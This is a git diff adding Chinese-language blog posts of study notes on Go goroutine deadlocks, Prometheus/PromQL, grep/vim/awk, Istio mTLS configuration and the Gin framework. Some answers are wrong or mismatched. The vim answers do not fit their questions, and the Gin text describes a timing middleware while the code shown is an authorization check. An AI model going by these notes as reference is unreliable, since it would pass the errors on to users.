make(map[string]string) + for namespace := range namespaceC { + namespaceModels[namespace] = "some value" + } + + // 输出结果 + fmt.Println("Collected namespaces:", namespaceModels) +} + +``` + +我们使用 sync.WaitGroup 是为了等待所有工作Goroutine完成它们的任务。 +一旦 wg.Wait() 返回,我们就可以确信所有的工作Goroutine都完成了它们的工作,并且 namespaceC 通道中已经没有更多的消息要发送了。 +于是,这时候关闭 namespaceC 是安全的。 +将这段代码放在主Goroutine中也是完全可行的,但通常把这种逻辑放在一个单独的 Goroutine 是为了让主Goroutine可以继续执行其他任务(例如在本例中从 namespaceC 中读取数据)。 + +如果你把 wg.Wait() 和 close(namespaceC) 放在主Goroutine,并且在那之前没有从 namespaceC 读取数据,那么可能会造成死锁,因为工作Goroutine可能在尝试往 namespaceC 写数据,而没有其他Goroutine从该通道读取。所以,为了避免这种情况,我们通常会在一个单独的 Goroutine 中进行这一系列操作。 + +错误写法 + +```go +package main + +import ( + "fmt" + "sync" +) + +func main() { + // 用于模拟从ETCD获取到的命名空间列表 + names := []string{"ns1", "ns2", "ns3"} + + // 用于分发命名空间名称 + nameC := make(chan string) + + // 用于接收处理后的命名空间 + namespaceC := make(chan string) + + var wg sync.WaitGroup + + // 创建10个工作Goroutine + for i := 0; i < 10; i++ { + wg.Add(1) + go func() { + defer wg.Done() + for name := range nameC { + // 模拟从ETCD加载命名空间的过程 + namespace := "loaded-" + name + namespaceC <- namespace + } + }() + } + + // 另一个Goroutine负责分发所有命名空间名称到nameC通道,并等待所有工作Goroutine完成 + go func() { + for _, name := range names { + nameC <- name + } + close(nameC) + }() + + wg.Wait() + close(namespaceC) + + // 收集从namespaceC通道接收到的所有命名空间模型,并存储在namespaceModels映射中 + namespaceModels := make(map[string]string) + for namespace := range namespaceC { + namespaceModels[namespace] = "some value" + } + + // 输出结果 + fmt.Println("Collected namespaces:", namespaceModels) +} +``` + + +> 明确设计目标: + +分发Goroutine:其职责是将所有需要处理的"namespace"名称分发到一个通道中。 +工作Goroutine(10个):它们从通道接收"namespace"名称,进行一些模拟处理,然后将处理后的结果发送到另一个通道。 +```go +// 用于模拟从ETCD获取到的命名空间列表 +names := []string{"ns1", "ns2", "ns3"} +``` + +> 数据流 + +"namespace"名称首先出现在一个名为names的切片。 +分发Goroutine将这些名称发送到nameC通道。 +工作Goroutine从nameC通道接收名称,进行处理,并将结果发送到namespaceC通道。 +主Goroutine从namespaceC通道收集处理后的结果。 + +```go +nameC := make(chan string) +namespaceC := make(chan string) +``` +> 同步和互斥 + +使用sync.WaitGroup来等待所有工作Goroutine完成。 +分发Goroutine在发送完所有名称后关闭nameC。 +主Goroutine等待所有工作Goroutine完成后,再关闭namespaceC。 + + +> 资源的创建和销毁 + +nameC和namespaceC是创建的资源,分发Goroutine和主Goroutine分别负责关闭它们。 + + +> 避免死锁和活锁 + +工作Goroutine需要能从nameC读取数据,所以nameC必须在所有工作完成后关闭。 +主Goroutine需要能从namespaceC读取数据,所以namespaceC必须在所有工作完成后关闭。 \ No newline at end of file diff --git a/_posts/2023-10-3-test-markdown.md b/_posts/2023-10-3-test-markdown.md new file mode 100644 index 000000000000..31f4134e9998 --- /dev/null +++ b/_posts/2023-10-3-test-markdown.md @@ -0,0 +1,263 @@ +--- +layout: post +title: Prometheus +subtitle: +tags: [Prometheus] +--- + + +### Prometheus基本原理和架构 + +基本原理: + +拉取模型:Prometheus通过HTTP从被监视的应用程序或系统中“拉取”指标。 +存储:拉取的指标被存储在本地的时间序列数据库中。 +查询:用户可以使用PromQL查询语言查询这些数据。 +警报:基于查询的结果,可以设置警报。 + +架构: + +Prometheus Server:负责收集和存储时间序列数据。 +> Prometheus Server又分为:Retrieval ,HTTPServer,TSDB + +> Retrieval:从被监控的服务中抓取指标。 + +> HTTPServer:提供UI和API的访问点。 + +> TSDB:负责存储数据(SSD/HDD)。 + +Alertmanage:处理警报。 + +Pushgateway: 网关 + + +### Prometheus的四种指标类型 + +Counter:一个只增不减的累计指标,常用于计数如请求数、任务完成数等。 +Gauge:表示单个数值,可以上下浮动,如内存使用量、CPU温度等。 +Histogram:用于统计观察值的分布,如请求持续时间。它提供了计数、总和、以及定义的分位数。 +Summary:与直方图类似,但也提供了计算百分比的能力。 + +### Prometheus的数据模型 + +Prometheus的数据模型主要是时间序列数据。一个时间序列由一个指标名称和一组键/值对(标签)唯一标识。指标本身记录了在特定时间点的值。 + +```shell +http_requests_total{method="GET",status="200"} = 1000 +http_requests_total{method="POST",status="200"} = 500 +http_requests_total{method="GET",status="500"} = 20 +``` +这些**数据点**都属于**http_requests_total**这个指标,但是每一个都记录了不同的HTTP请求类型(GET或POST)和状态码(200或500)的请求总数。如果直接查询http_requests_total,Prometheus会返回所有这些不同的数据点。 + +##### 时间序列 + +> 简单来说:一个时间序列是一个或多个数据点的序列,每个数据点有一个时间戳和一个值,每个时间戳对应于对指标值的一次读取,而读取到的值就是该数据点的值。 + +在Prometheus中,每个时间序列数据都有两个主要的组成部分:指标名称和标签。 + +指标名称(Metric Name):这是用来描述所观察或测量数据的名称。比如,可能有一个名为http_requests_total的指标,它用来记录的服务器收到的HTTP请求的总数。 + +标签(Labels):标签是键值对,用来进一步描述的指标。比如,的http_requests_total指标可能有一个名为method的标签,其值可能是GET,POST等,用以区分不同类型的HTTP请求。还可以有另一个名为status的标签,其值可能是200,404等,以区分返回的HTTP状态代码。 + +> 并不是每分钟都新建一个http_requests_total{method="GET", status="200"}指标。而是有一个http_requests_total{method="GET", status="200"}指标存在,它的值会随着收到满足条件的HTTP请求而递增,而Prometheus每分钟读取一次这个值,并将读取的值作为一个新的数据点存储到TSDB中。 + +> 每一个这样的数据点包括两个部分:一个时间戳(表示这个值是何时读取的),和一个值(表示在该时间戳时,该指标的值是多少)。这样一系列的数据点就构成了一个时间序列。 + +每个时间序列数据由指标名称和标签的组合唯一标识。例如,可能有以下两个时间序列: + +```shell +http_requests_total{method="GET", status="200"} +http_requests_total{method="POST", status="404"} +``` +这两个时间序列都属于http_requests_total指标,但它们分别记录了GET请求的成功数和POST请求的失败数。 + +> 每个时间序列都会随时间记录数据点的值。例如,http_requests_total{method="GET", status="200"}时间序列可能会每分钟记录一次请求的总数。每个这样的记录包括一个时间戳和一个值,代表在那个时间点,这个时间序列的值是多少。 + + +##### 数据点 + +在Prometheus中,一个数据点是由时间戳和值构成的一个实体,其中: + +时间戳:是一个以毫秒为单位的Unix时间戳,用于表示该数据点的时间。在Prometheus的查询结果中,时间戳通常转换为RFC 3339格式的字符串(例如"2022-01-01T01:23:45Z")。 + +值:可以是任意数字,表示在该时间点指标的值。 + +例如,一个http_requests_total{method="GET", status="200"}的数据点可能如下所示: + +```json +{ + "timestamp": "2023-01-01T01:23:45Z", + "value": 1234 +} +``` +这表示在2023年1月1日01:23:45(UTC)时,满足`{method="GET", status="200"}`标签的HTTP请求总数为1234。 +在Prometheus的查询结果中,通常会有多个这样的数据点(对应于不同的时间戳),构成一个时间序列。例如: + +```json +[ + { + "timestamp": "2023-01-01T01:23:45Z", + "value": 1234 + }, + { + "timestamp": "2023-01-01T01:24:45Z", + "value": 1256 + }, + { + "timestamp": "2023-01-01T01:25:45Z", + "value": 1278 + }, + +] +``` +这就是一个`http_requests_total{method="GET", status="200"}`的时间序列。 + + +#### PromQL数据类型 + + +Instant vector(即时向量):即时向量是指在某一个特定的时间点,所有时间序列的值的集合。比如,如果有一个监控CPU使用率的指标,那么在某一特定时间点(比如现在),所有CPU的使用率就构成一个即时向量。 + +例子:`http_requests_total` 这个表达式返回的就是一个即时向量,包含了所有时刻下的"http_requests_total"的时间序列的最新值。 + +在Prometheus中,http_requests_total是一个指标,它的每一个实例(也就是具有不同标签组合的数据点)都记录了相应实例的HTTP请求总数。例如,可能有这样的数据点: + +```lua +http_requests_total{method="GET",status="200"} = 1000 +http_requests_total{method="POST",status="200"} = 500 +http_requests_total{method="GET",status="500"} = 20 +``` +这些数据点都属于http_requests_total这个指标,但是每一个都记录了不同的HTTP请求类型(GET或POST)和状态码(200或500)的请求总数。如果直接查询http_requests_total,Prometheus会返回所有这些不同的数据点。 + +然而,如果想要获取系统中所有HTTP请求的总数,需要把所有这些不同的数据点加起来。这就是为什么需要sum(http_requests_total)。sum函数会将所有具有相同指标名称但具有不同标签组合的数据点值相加,得到一个总的请求数量。 + +Range vector(范围向量):范围向量是指在某一个时间范围内,所有时间序列的值的集合。比如,可能想看过去5分钟内,所有CPU的使用率,那么得到的就是一个范围向量。 + +例子:`http_requests_total[5m]` 这个表达式返回的就是一个范围向量,它包含了过去5分钟内所有"http_requests_total"的时间序列的值。 + +Scalar(标量):标量就是一个单一的数字值。它并不关联任何时间序列,只是一个简单的数值。 + +例子:`count(http_requests_total)` 这个表达式返回的就是一个标量,它计算了"http_requests_total"指标的时间序列数量。 + +String(字符串):虽然PromQL理论上支持字符串类型,但是在实际应用中,目前暂未使用。 + + +### PromQL 练习 + + +> 列出系统中所有HTTP请求的总数。 + +```text +sum(http_requests_total) +``` + +> 列出过去5分钟内,所有HTTP请求的平均请求延迟。 + +```text +rate(http_request_duration_seconds_sum[5m]) / rate(http_request_duration_seconds_count[5m]) +``` + +在这个例子中,`http_request_duration_seconds_sum[5m]`表示过去五分钟所有HTTP请求的总延迟时间,而`http_request_duration_seconds_count[5m]`表示过去五分钟内发生的HTTP请求的总数。将总延迟时间除以总请求数,就可以得到每个请求的平均延迟时间。 + +而`rate()`函数则用于计算这两个指标在时间范围内的平均增长率。它返回的是每秒钟的平均增长值,这是一个即时向量。将http_request_duration_seconds_sum的增长率除以http_request_duration_seconds_count的增长率,结果就是每个请求的平均延迟。 + +> 对过去1小时内的HTTP错误率(HTTP 5xx响应的数量/总HTTP请求数量)进行计算 + +```text +sum(rate(http_requests_total{status_code=~"5.."}[1h])) / sum(rate(http_requests_total[1h])) +``` + +在Prometheus中,rate()函数是用来计算一个范围向量(range vector)在指定的时间范围内的平均增长率的。它返回的结果是一个即时向量(instant vector),即在最近的时间点上的值。 + +如果直接使用sum(http_requests_total{status_code=~"5.."}[1h]) / sum(http_requests_total[1h]),那么将试图将一个范围向量除以另一个范围向量,这在Prometheus的数据模型中是不被允许的。 + +而将rate()函数应用于每一个范围向量,会得到在过去一小时内每秒钟HTTP 5xx错误的平均增长率,以及每秒钟所有HTTP请求的平均增长率。将这两个结果相除,就能得到过去一小时内每秒钟的HTTP错误率,这是一个合理和有用的指标。 + +所以我们需要将rate()函数应用于这两个范围向量,然后将结果相除,才能正确地计算出过去一小时内的HTTP错误率。 + +> 使用PromQL的函数和操作符来预测接下来一小时内的HTTP请求的总数。 + +```text +predict_linear(http_requests_total[1h], 3600) +``` + +### PromQL 函数和运算符 + +Prometheus 的查询语言 (PromQL) 提供了一系列的聚合运算符、函数和操作符用于处理时间序列数据。以下是其中一些重要的例子: + +##### 聚合运算符 + +sum: 求和 +avg: 平均值 +min: 最小值 +max: 最大值 +stddev: 标准差 +stdvar: 方差 +count: 计数 +quantile: 分位数 + +这些运算符在 Prometheus 中主要用于操作即时向量 (instant vectors),它们处理的是一组具有相同时间戳的样本,通常作为聚合运算符使用,对标签进行分组,并对每个组内的样本进行运算。例如,sum(http_requests_total) 将会把具有相同时间戳的所有 http_requests_total 样本值加总。 + +对于范围向量 `(range vectors)`,我们通常需要结合 Prometheus 提供的一些函数来处理。例如,`rate(http_requests_total[5m])` 是在过去的5分钟内,计算 `http_requests_total` 的平均增长速率。这是因为范围向量包含了在一段时间范围内的样本点,我们通常需要对这些样本点进行某种形式的计算或者比较,来获得一些更有意义的指标,比如增长速率、增量等。 + +##### 函数 +rate(): 范围向量的平均增长速率 +increase(): 范围向量的增长量 +predict_linear(): 基于线性回归预测时间序列的未来值 +histogram_quantile(): 从直方图时间序列中计算分位数 +delta(): 范围向量的增量 +idelta(): 相邻样本间的增量 +day_of_month(), day_of_week(), month(), year(): 日期和时间的计算 + +##### 操作符 + +算术操作符: +, -, *, /, %, ^ +比较操作符: ==, !=, <, <=, >, >= +逻辑操作符: and, or, unless + + +### +CPU使用率:表示CPU正在使用的时间百分比。过高的CPU使用率可能意味着系统过载,需要更多的资源或优化。 + +重要性:持续高的CPU使用率可能导致响应时间增长和性能下降。 +内存使用:表示已使用和可用的物理内存量。 + +重要性:内存不足可能导致系统使用交换空间(swap),这会大大降低性能。 +磁盘I/O:表示磁盘读写的速度和数量。 + +重要性:高的磁盘I/O可能会影响数据的读取和写入速度,从而影响应用的性能。 +网络带宽使用:表示数据传输的速度和量。 + +重要性:网络拥堵可能导致数据传输延迟,影响用户体验和系统之间的通信。 +应用指标: +响应时间:表示应用响应用户请求所需的时间。 + +重要性:长的响应时间可能导致用户不满,影响用户体验。 +错误率:表示出现错误的请求与总请求的比例。 + +重要性:高的错误率可能表示应用中存在问题或故障,需要立即排查。 +吞吐量:表示在特定时间段内应用处理的请求数量。 + +重要性:它可以帮助我们了解应用的负载能力和是否需要扩展资源。 +活跃用户数:表示在特定时间段内使用应用的用户数量。 + +重要性:它可以帮助我们了解应用的受欢迎程度和是否满足用户需求。 + + +> QPS + +是的,QPS(每秒查询率)是评估系统负载和性能的关键指标。在使用Prometheus进行监控时,我们通常会收集与QPS相关的数据,然后使用Prometheus查询语言(PromQL)来计算QPS。以下是如何使用Prometheus来评估QPS的简要指南: +指标收集:首先,您需要有一个收集QPS相关数据的导出器(exporter)。例如,如果您正在监控一个HTTP服务,您可能会使用一个中间件或一个HTTP处理器来记录每个请求,然后使用一个counter类型的指标来追踪它。 + +在Prometheus中配置:配置Prometheus以从相应的导出器抓取数据。这通常涉及在prometheus.yml配置文件中添加一个新的抓取目标。 + +使用PromQL查询QPS:一旦数据开始进入Prometheus,您可以使用PromQL来查询QPS。例如,如果您有一个名为http_requests_total的指标,以下PromQL查询将给出过去5分钟的平均QPS: + +```promql +rate(http_requests_total[5m]) +``` +rate函数计算给定时间范围内指标的增加率,这正是QPS所需要的。 + +设置警报:使用Prometheus的AlertManager,您可以为QPS设置阈值警报。例如,如果QPS超过了您的预期或突然下降,这可能意味着存在问题。 + +可视化:使用Grafana或Prometheus自带的UI来可视化QPS。在Grafana中,您可以创建一个面板来显示QPS,并根据需要设置时间范围和聚合粒度。 \ No newline at end of file diff --git a/_posts/2023-10-4-test-markdown.md b/_posts/2023-10-4-test-markdown.md new file mode 100644 index 000000000000..e956c4d794ea --- /dev/null +++ b/_posts/2023-10-4-test-markdown.md @@ -0,0 +1,87 @@ +--- +layout: post +title: Vim /AWK/Grep +subtitle: +tags: [linux] +--- + + + +### grep + +> 请问如何使用 grep 查找包含 "error" 或 "warning" 的行? + +```shell +grep -E "error|warning" filename +``` + +> 使用 grep 如何对大小写敏感进行搜索? + +grep 默认对大小写敏感。如果想进行大小写无关的搜索,可以添加 -i 参数: + +```shell +grep -i "search_string" filename +``` + +> 请问在一个目录及其子目录下,如何使用 grep 递归地搜索包含 "todo" 的文件? + +```shell +grep -r "todo" directory_path +``` + +> 如何使用 grep 从文本文件中搜索并打印匹配正则表达式 `"[0-9]{3}-[0-9]{3}-[0-9]{4}"`的行(表示美国电话号码格式)? + +```shell +grep -E "[0-9]{3}-[0-9]{3}-[0-9]{4}" filename +``` + +### vim + + +> 在 vim 中,如何快速移动到文件的开头和结尾? + +```shell +gg +``` + +> 请问如何在 vim 中删除从当前行到文件末尾的所有行? + +```shell +100 dd +``` +删除100行 + +> 请问如何在 vim 中查找和替换字符串?能否举例说明? + +```shell +/ 要查找的字符 回车 +``` +在 vim 中,如何撤销和重做修改? + +```shell +u +``` +### awk + + +> 请问如何使用 awk 打印文本文件的最后一列? + +```shell +awk '{print $NF}' filename +``` +> 如何使用 awk 计算并打印文本文件某列的总和? + +请问如何使用 awk 选择并打印长度超过 80 个字符的行? +如何使用 awk 根据特定的字段或列对文本文件进行排序? + +```shell +bin_file=$(echo "$MS_STATUS" | awk -F: '/File/ {print $2;}' | xargs) +bin_pos=$(echo "$MS_STATUS" | awk -F: '/Position/ {print $2;}' | xargs) +``` + +`echo "$MS_STATUS"`:这将打印出 $MS_STATUS 变量的值。 +`awk -F: '/File/ {print $2;}':`这使用 awk 来处理输出。`-F:` 指定 `:` 为字段分隔符。`/File/ {print $2;}` 是 awk 的命令,它的意思是:对每一行,如果该行匹配到 'File',那么就打印出第二个字段(也就是冒号后面的部分)。 + +xargs:它的主要作用是删除掉打印结果前后的空白字符,让结果看起来更干净。 + + diff --git a/_posts/2023-10-5-test-markdown.md b/_posts/2023-10-5-test-markdown.md new file mode 100644 index 000000000000..b7a79a8c84f2 --- /dev/null +++ b/_posts/2023-10-5-test-markdown.md @@ -0,0 +1,278 @@ +--- +layout: post +title: Istio/Linkerd +subtitle: +tags: [Istio/Linkerd] +--- + +## Istio/Linkerd和流量管理特性 + +#### 基于请求头的路由: + +可以根据HTTP请求头信息(如User-Agent, Cookie等)来决定如何路由请求。例如,可以将包含某个特定User-Agent的请求路由到一个特定版本的服务上,这在A/B测试或灰度发布中非常有用。 + +#### 延迟注入: +这允许故意为服务添加延迟,以模拟网络延迟或服务的延迟。这对于测试服务的弹性和容错能力非常有用,确保即使在不理想的情况下,系统也能正常工作。 + +#### 故障注入: +类似于延迟注入,但这里是故意注入错误响应,例如HTTP 500。这样,可以测试应用程序在面对服务错误时的行为。这是混沌工程实践的一部分,其中主要目标是确保系统在各种失败情况下的韧性。 + +#### 流量镜像: +这允许复制进入的流量并将其发送到另一服务,通常用于分析、测试或监视,而不会影响生产流量。 + +#### 重试和超时: +服务网格允许为微服务之间的调用定义重试和超时策略。这确保了在暂时的网络抖动或服务故障时,请求可以得到正确处理。 + +#### 流量分割: +对于灰度发布或金丝雀部署,可以将特定百分比的流量路由到新版本的服务,并逐渐增加这个百分比,直到完全切换到新版本。 + +#### 请求/响应转换: +一些服务网格支持在路由请求时对其进行转换,例如,修改请求头、添加、删除或更改特定的内容。 +这些功能使得服务网格成为现代云原生应用程序的一个强大工具,它们提供了对微服务间交互的深入见解和控制,而不需要更改服务的实际代码。 + + +## Istio/Linkerd和特性实现 + +在服务网格中,如Istio, 延迟注入、故障注入、重试和超时这些特性通常是通过Envoy代理实现的。每个服务的每个实例都与一个Envoy代理共同部署,该代理拦截进入和离开服务的所有网络流量。通过控制这些代理,服务网格可以实现上述所述的各种流量管理功能。 + +延迟注入: + +当请求到达Envoy代理时,它查看配置的延迟注入规则。如果该请求匹配某个规则,Envoy会故意在转发请求之前引入延迟。 +例如,您可以配置规则以使来自某个特定用户或满足其他特定条件的请求遇到延迟。 + +故障注入: +和延迟注入类似,当请求匹配到某个故障注入规则时,Envoy代理会返回一个错误响应而不是转发请求。 +这可以模拟各种错误情况,如服务失败、超时或任何其他希望模拟的HTTP错误。 + +重试: +重试逻辑也在Envoy代理中实现。当服务返回错误时,代理可以自动尝试再次发送请求,而不需要客户端介入。 +重试策略,如尝试的次数、重试的条件(例如,只有在某些特定的HTTP错误码上)和重试之间的时间间隔,都可以配置。 + +超时: +Envoy代理可以为向上游服务的请求设置超时。 +如果请求在配置的时间内没有得到响应,Envoy可以返回一个错误,或者,结合上面的重试逻辑,尝试再次发送请求。 + +如何具体实现: + +配置:这些特性都可以通过服务网格的控制平面进行配置,例如在Istio中,会使用YAML文件来定义VirtualServices、DestinationRules等资源,并使用kubectl或Istio的CLI工具(istioctl)应用它们。 + +数据平面:这些配置然后下发到数据平面的Envoy代理,代理根据这些配置来处理网络流量。 + +Pilot:在Istio中,Pilot组件负责把高级的路由规则和策略转化为低级的Envoy配置,并分发给所有的Envoy代理。 + + +## 实践问题 + + +#### 什么是服务网格? + +服务网格是一个基础设施层,用于处理服务到服务的通信。它提供了如流量管理、安全性和可观察性等关键功能,而不需要更改应用程序代码。 + + +#### Istio和Linkerd的核心组件是什么,它们的作用是什么? + +Istio:Pilot(提供流量管理)、Mixer(策略和遥测)、Citadel(安全性)、Envoy(代理)。 + +Linkerd:控制平面(管理和配置)、数据平面(代理实际的网络流量) + + +#### 服务网格如何提高微服务的可观察性? + +服务网格拦截所有服务间的通信,因此可以提供详细的指标、日志和追踪,帮助开发者和运维团队更好地理解和监控服务的行为和性能。 + + +#### 如何在Istio中配置延迟注入或故障注入? + +在VirtualService中,可以使用HTTP路由的fault字段来配置故障注入,例如延迟或固定的错误率。 + +#### Istio或Linkerd中mTLS的工作原理是什么?如何配置并启用它? + +mTLS为服务间的通信提供双向的TLS加密,确保通信的机密性和完整性。在Istio中,可以通过配置PeerAuthentication和DestinationRule来启用和调整mTLS设置。 + +#### Istio中,VirtualService和DestinationRule有什么不同? + +VirtualService定义了如何路由到一个或多个服务(例如,基于URL路径)。DestinationRule定义了路由到服务后如何对流量进行后续处理,例如负载均衡策略、mTLS设置等。 + + +请求进入Istio服务网格——> Pilot 把请求下发到数据平面的Envoy代理 ——Envoy代理根据Pilot提供的VirtualService配置决定将请求路由到哪里。——> Envoy代理再根据DestinationRule配置来决定如何处理或修改流向这个目的地的流量(例如,应用故障注入、负载均衡策略等)。 + + +VirtualService决定了请求应该转发到哪个服务或版本,DestinationRule接管并决定如何处理该流量,包括以下方面:负载均衡策略(例如,轮询、最少连接数等是否应用mTLS故障注入、延迟注入等Pilot的角色主要是将这些配置(包括VirtualService和DestinationRule)推送到数据平面的Envoy代理。Envoy代理根据这些配置来处理进入和离开节点的流量。 + +#### TLS ? 以及mTLS? + +TLS (Transport Layer Security) +TLS是一个加密协议,它的前身是SSL(Secure Sockets Layer)。它的主要目的是确保网络上的数据传输是安全和私密的。当访问一个以https开头的网站时,背后就是使用TLS来保护数据传输的。 + +在常规的TLS握手过程中,服务器会向客户端发送一个证书来证明自己的身份。客户端验证这个证书(通常是与一个受信任的证书颁发机构进行比较),然后两者之间建立一个加密的通信通道。 + +mTLS (Mutual TLS) +mTLS,即双向TLS或相互TLS,是一个加强版的TLS。不仅服务器需要向客户端证明自己的身份,客户端也需要向服务器证明自己的身份。这意味着双方都需要提供并验证证书。 + +在微服务架构中,mTLS特别有用,因为它可以确保服务间的通信既安全又双向认证。这为微服务之间提供了一个更高层次的安全性。 + +#### PeerAuthentication? + +PeerAuthentication in Istio +在Istio中,PeerAuthentication是一个配置资源,用于**控制工作负载之间的双向TLS**设置。它可以定义以下内容: + +工作负载是否应接受纯文本流量 +工作负载是否应使用mTLS进行通信 +哪些请求来源(如具体的主体或命名空间)可以访问工作负载 + +简单地说,**PeerAuthentication定义了工作负载如何与其对等体(即其他工作负载)进行通信**。与此同时,**DestinationRule定义了工作负载如何与目标服务进行通信,包括TLS和mTLS设置**。 + +在Istio中使用PeerAuthentication和DestinationRule,可以在服务网格中的微服务之间实现细粒度的安全策略和通信策略。 + +场景: +假设我们有两个微服务:frontend和backend。我们希望确保以下几点: + +- 只有frontend服务能够访问backend服务。 +- frontend与backend之间的所有通信都必须使用mTLS进行加密。 + +步骤: + +使用PeerAuthentication强制mTLS + +```yaml +apiVersion: security.istio.io/v1beta1 +kind: PeerAuthentication +metadata: + name: backend-mtls + namespace: default +spec: + selector: + matchLabels: + app: backend + mtls: + mode: STRICT +``` + +backend服务仅接受使用mTLS的连接 + + +配置DestinationRule以使用mTLS + +接下来,我们需要确保frontend服务在连接到backend服务时使用mTLS。为此,我们使用DestinationRule: + +```yaml +apiVersion: networking.istio.io/v1alpha3 +kind: DestinationRule +metadata: + name: backend-mtls-rule + namespace: default +spec: + host: backend.default.svc.cluster.local + trafficPolicy: + tls: + mode: ISTIO_MUTUAL +``` + +此配置确保当frontend服务尝试连接到backend服务时,它使用Istio提供的证书进行mTLS连接。 + +使用AuthorizationPolicy来限制访问 +为了确保只有frontend服务能够访问backend服务,我们可以使用AuthorizationPolicy: +```yaml +apiVersion: security.istio.io/v1beta1 +kind: AuthorizationPolicy +metadata: + name: backend-authz + namespace: default +spec: + selector: + matchLabels: + app: backend + action: ALLOW + rules: + - from: + - source: + principals: ["cluster.local/ns/default/sa/frontend"] +``` +这个策略表示只有具有frontend服务帐户身份的请求才能访问backend服务。 + +通过以上配置,我们确保了frontend和backend之间的通信是安全的,并且只有frontend服务能够访问backend服务。 + + +PeerAuthentication: + +apiVersion: 定义了资源的API版本。 +kind: 表明这是一个PeerAuthentication资源,这种资源用于指定某个服务是否应该使用mTLS进行通信。 +metadata: 为资源提供了一个名称和命名空间。 +spec: 这是实际的配置。 +selector: 选择哪些Pod应该受到这个资源配置的影响。在这里,我们选择了标签为app: backend的所有Pod。 +mtls: 定义mTLS的行为。 +mode: STRICT: 这表示backend服务仅接受使用mTLS的连接。 + + +DestinationRule: + +apiVersion: 定义了资源的API版本。 +kind: 表明这是一个DestinationRule资源,这种资源用于定义访问某个特定服务时的通信策略,如负载均衡、连接池设置和TLS设置等。 +metadata: 同样为资源提供了一个名称和命名空间。 +spec: 实际的配置。 +host: 定义这个规则应用于哪个服务。 +trafficPolicy: 定义访问该服务时应该采用的通信策略。 +tls: 定义TLS相关的策略。 +mode: ISTIO_MUTUAL: 这表示当其他服务尝试访问backend服务时,它们应该使用Istio证书进行mTLS通信。 + +关系: + +PeerAuthentication决定服务如何验证其他服务与其通信时的身份,以及它自己应该使用哪种方式进行身份验证。 +DestinationRule决定服务与其他服务通信时应该如何进行身份验证和加密。 +AuthorizationPolicy决定谁可以访问服务 + + +#### 如何使用Istio或Linkerd进行流量管理? + +使用Istio的VirtualService和DestinationRule来控制流量的路由、拆分和版本控制。 + +#### 如何使用Istio或Linkerd来监控和跟踪应用程序的性能? + +与Prometheus和Jaeger等工具集成,使用Istio或Linkerd提供的自动化遥测数据。 + +#### 描述一个与服务网格相关的问题,以及如何解决的。 + +在引入Istio后,某些服务之间的通信被中断。问题是由于mTLS的强制性引起的。通过调整DestinationRule,将mTLS设置为“PERMISSIVE”模式来解决。 + + +#### Istio和Linkerd之间的关键区别是什么? + +Istio基于Envoy代理,而Linkerd2.0使用自己的轻量级代理。两者都提供流量管理、安全性和可观察性,但有不同的集成和扩展点。 + + +#### 如何在Istio中配置分布式追踪? + +通过与Jaeger或Zipkin等追踪系统集成,确保应用程序传递适当的追踪头。 + + +#### 如何确保Istio或Linkerd在动态的Kubernetes环境中保持性能和稳定性? + +监控资源使用情况,优化配置,例如调整代理的资源限制。 + + +#### 如何实施金丝雀部署? + +使用Istio的VirtualService和DestinationRule来控制流量的百分比,将部分流量路由到新版本的服务。 + + +金丝雀部署 (Canary Deployment): + +这种策略的名称来源于“金丝雀在煤矿”的传统概念,煤矿工人会带金丝雀进入煤矿以检测有毒气体。 +在金丝雀部署中,新版本的服务会被部署并与旧版本并行运行,但只有少部分用户的流量会被路由到新版本。 +这允许团队观察新版本在实际生产环境下的表现,确保其稳定性和正确性。 +一旦确信新版本稳定,可以逐渐增加路由到新版本的流量,最终完全替换旧版本。 + + +灰度部署 (Gray Deployment): + +灰度部署与金丝雀部署相似,都涉及将新版本引入生产环境的部分用户。 +不同之处在于,灰度部署更侧重于按用户群体或特定功能逐步发布新版本,而不是按流量百分比。 +例如,可以先向某一地理区域、某个特定用户组或使用某些特定功能的用户推出新版本。 + +蓝绿部署 (Blue-Green Deployment): + +在蓝绿部署中,有两个完全独立的生产环境:蓝色和绿色。其中一个(例如,蓝色)正在运行当前的生产版本,而另一个(绿色)部署了新版本。 +一旦测试确信绿色环境中的新版本是稳定的,流量可以通过切换负载均衡器或路由规则,从蓝色环境切换到绿色环境,从而实现无缝部署。 +这种策略的优势在于,如果新版本出现问题,可以快速回滚到蓝色环境,而不需要重新部署旧版本。 + + diff --git a/_posts/2023-10-6-test-markdown.md b/_posts/2023-10-6-test-markdown.md new file mode 100644 index 000000000000..b34ebe1e552d --- /dev/null +++ b/_posts/2023-10-6-test-markdown.md @@ -0,0 +1,305 @@ +--- +layout: post +title: Gin/RPC +subtitle: +tags: [gin] +--- + + +### Gin + +Gin 的主要特性包括: + +#### 路由 + +快速:Gin 使用 httprouter,这是一个非常快的 HTTP 路由库。 + +#### 中间件 +中间件支持:Gin 有一个中间件框架,可以处理 HTTP 请求的入口和出口。用户可以定义自己的中间件。 + +在 Gin 中,中间件是一种函数,它可以在处理 HTTP 请求的过程中执行一些额外的操作,比如日志记录、用户验证、数据预处理等。中间件函数在 Gin 中是通过 gin.HandlerFunc 类型来定义的,它接受一个 gin.Context 参数,可以用这个参数来控制 HTTP 请求的输入和输出。 + +下面是一个中间件的例子,这个中间件会记录每个请求的处理时间: + +```go +func AuthMiddleware() gin.HandlerFunc { + return func(c *gin.Context) { + // 从请求头中获取 Token + token := c.GetHeader("Authorization") + + // 如果没有提供 Token,则返回错误 + if token == "" { + c.JSON(http.StatusUnauthorized, gin.H{"error": "Authorization header not provided"}) + c.Abort() + return + } + + // 解析 Token,这里假设有一个名为 parseToken 的函数来进行解析 + // 需要替换成实际的解析函数 + user, err := parseToken(token) + if err != nil { + c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid token"}) + c.Abort() + return + } + + // 将解析出的用户信息保存在 gin.Context 中,这样后续的处理函数可以直接使用 + c.Set("user", user) + + c.Next() + } +} +``` + + +在这个例子中,RequestDurationMiddleware 中间件将会在处理每一个 HTTP 请求时被调用。在调用 c.Next() 之前的代码会在请求开始前执行,而调用 c.Next() 之后的代码会 + +路由:Gin 支持 RESTful 的路由方式,同时还支持路由分组,路由中间件等功能。 + +#### gin.Context + +gin.Context 是 Gin 框架中的一个关键类型,它封装了 Go net/http 中的 Request 和 ResponseWriter,并提供了许多用于 HTTP 请求处理和响应的便捷方法。例如,可以使用 gin.Context 来读取请求参数,设置响应状态码,写入响应头和响应体等。 + + +#### context.Context + +context.Context 是 Go 标准库中的一个接口类型,它用于跨 API 边界和协程之间传递 deadline、取消信号和其他请求相关的值。主要应用在同步操作如服务器的请求处理,以及并发操作如 goroutine 之间的同步等场景。 + +这两个上下文在设计和使用上是互补的。在处理 HTTP 